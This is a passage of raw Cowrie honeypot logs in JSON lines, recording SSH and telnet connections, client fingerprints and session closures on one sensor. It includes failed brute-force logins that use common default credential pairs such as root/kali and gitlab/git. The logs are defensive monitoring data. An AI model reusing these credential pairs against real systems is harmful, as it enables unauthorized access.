stp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:38.424941Z","src_ip":"91.92.40.153","session":"d363086c61a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59128,"dst_ip":"159.203.135.109","dst_port":22,"session":"3331b0944efa","protocol":"ssh","message":"New connection: 139.99.74.35:59128 (159.203.135.109:22) [session: 3331b0944efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:38.533767Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37660,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a3935eabb2","protocol":"telnet","message":"New connection: 170.64.224.25:37660 (159.203.135.109:23) [session: 37a3935eabb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:38.963350Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37662,"dst_ip":"159.203.135.109","dst_port":23,"session":"444e5919b7f4","protocol":"telnet","message":"New connection: 170.64.224.25:37662 (159.203.135.109:23) [session: 444e5919b7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:39.761108Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:40.187414Z","src_ip":"91.92.40.153","session":"d363086c61a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37678,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ec3a2193bd","protocol":"telnet","message":"New connection: 170.64.224.25:37678 (159.203.135.109:23) [session: 27ec3a2193bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:41.176389Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:41.687538Z","src_ip":"91.92.40.153","session":"d363086c61a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33330,"dst_ip":"159.203.135.109","dst_port":22,"session":"94151e1d6599","protocol":"ssh","message":"New connection: 160.187.174.22:33330 (159.203.135.109:22) [session: 94151e1d6599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.282492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.354203Z","src_ip":"160.187.174.22","session":"94151e1d6599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.358331Z","src_ip":"139.99.74.35","session":"3331b0944efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.531386Z","src_ip":"160.187.174.22","session":"94151e1d6599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59148,"dst_ip":"159.203.135.109","dst_port":22,"session":"0edb9cf797b7","protocol":"ssh","message":"New connection: 139.99.74.35:59148 (159.203.135.109:22) [session: 0edb9cf797b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.589313Z"}
{"eventid":"cowrie.session.closed","duration":12.032394886016846,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:43.668818Z","src_ip":"143.198.154.150","session":"5203c9b5fc0a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:44.501639Z","src_ip":"160.187.174.22","session":"94151e1d6599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59762,"dst_ip":"10.17.0.5","dst_port":22,"session":"c906f2d055ec","protocol":"ssh","message":"New connection: 91.92.40.153:59762 (10.17.0.5:22) [session: c906f2d055ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:44.987750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:45.038404Z","src_ip":"91.92.40.153","session":"c906f2d055ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:45.131338Z","src_ip":"91.92.40.153","session":"c906f2d055ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:45.689842Z","src_ip":"91.92.40.153","session":"c906f2d055ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:45.741584Z","src_ip":"160.187.174.22","session":"94151e1d6599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:46.929707Z","src_ip":"91.92.40.153","session":"c906f2d055ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:48.346924Z","src_ip":"139.99.74.35","session":"0edb9cf797b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45982,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7a9697156b","protocol":"ssh","message":"New connection: 139.99.74.35:45982 (159.203.135.109:22) [session: 0e7a9697156b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:48.582117Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59826,"dst_ip":"10.17.0.5","dst_port":22,"session":"128d52f77c87","protocol":"ssh","message":"New connection: 91.92.40.153:59826 (10.17.0.5:22) [session: 128d52f77c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:51.392380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:51.397251Z","src_ip":"91.92.40.153","session":"128d52f77c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:51.475363Z","src_ip":"91.92.40.153","session":"128d52f77c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:51.815320Z","src_ip":"91.92.40.153","session":"128d52f77c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:52.933855Z","src_ip":"91.92.40.153","session":"128d52f77c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:53.365242Z","src_ip":"139.99.74.35","session":"0e7a9697156b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46000,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5dd5ad2e59","protocol":"ssh","message":"New connection: 139.99.74.35:46000 (159.203.135.109:22) [session: 8f5dd5ad2e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:53.590979Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b86945da0e","protocol":"ssh","message":"New connection: 91.92.40.153:45628 (10.17.0.5:22) [session: a6b86945da0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:57.133749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:57.198112Z","src_ip":"91.92.40.153","session":"a6b86945da0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:57.290326Z","src_ip":"91.92.40.153","session":"a6b86945da0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.167826652526855,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:57.344065Z","src_ip":"170.64.224.25","session":"27ec3a2193bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:58.202042Z","src_ip":"91.92.40.153","session":"a6b86945da0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:58.895901Z","src_ip":"139.99.74.35","session":"8f5dd5ad2e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50430,"dst_ip":"159.203.135.109","dst_port":22,"session":"b831d9b88cb6","protocol":"ssh","message":"New connection: 139.99.74.35:50430 (159.203.135.109:22) [session: b831d9b88cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:59.116571Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:18:59.555699Z","src_ip":"91.92.40.153","session":"a6b86945da0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cc6ddd9c50","protocol":"telnet","message":"New connection: 170.64.224.25:52350 (159.203.135.109:23) [session: b8cc6ddd9c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:02.242229Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52922,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d0f53de7ccc","protocol":"ssh","message":"New connection: 91.92.40.153:52922 (10.17.0.5:22) [session: 0d0f53de7ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:02.845605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:03.172898Z","src_ip":"91.92.40.153","session":"0d0f53de7ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:03.177519Z","src_ip":"91.92.40.153","session":"0d0f53de7ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:03.893150Z","src_ip":"139.99.74.35","session":"b831d9b88cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52258,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a071f4d83f","protocol":"ssh","message":"New connection: 139.99.74.35:52258 (159.203.135.109:22) [session: 60a071f4d83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:04.123450Z"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:04.786474Z","src_ip":"91.92.40.153","session":"0d0f53de7ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.31866693496704,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:05.079652Z","src_ip":"170.64.224.25","session":"444e5919b7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:06.270852Z","src_ip":"91.92.40.153","session":"0d0f53de7ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":53026,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9ce16f4101","protocol":"ssh","message":"New connection: 91.92.40.153:53026 (10.17.0.5:22) [session: 5f9ce16f4101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.052799Z"}
{"eventid":"cowrie.session.closed","duration":30.214518785476685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.177768Z","src_ip":"170.64.224.25","session":"37a3935eabb2","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.200861Z","src_ip":"91.92.40.153","session":"5f9ce16f4101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.209049Z","src_ip":"91.92.40.153","session":"5f9ce16f4101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.293264Z","src_ip":"139.99.74.35","session":"60a071f4d83f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52288,"dst_ip":"159.203.135.109","dst_port":22,"session":"896af093a0b6","protocol":"ssh","message":"New connection: 139.99.74.35:52288 (159.203.135.109:22) [session: 896af093a0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:19:09.519645Z"}
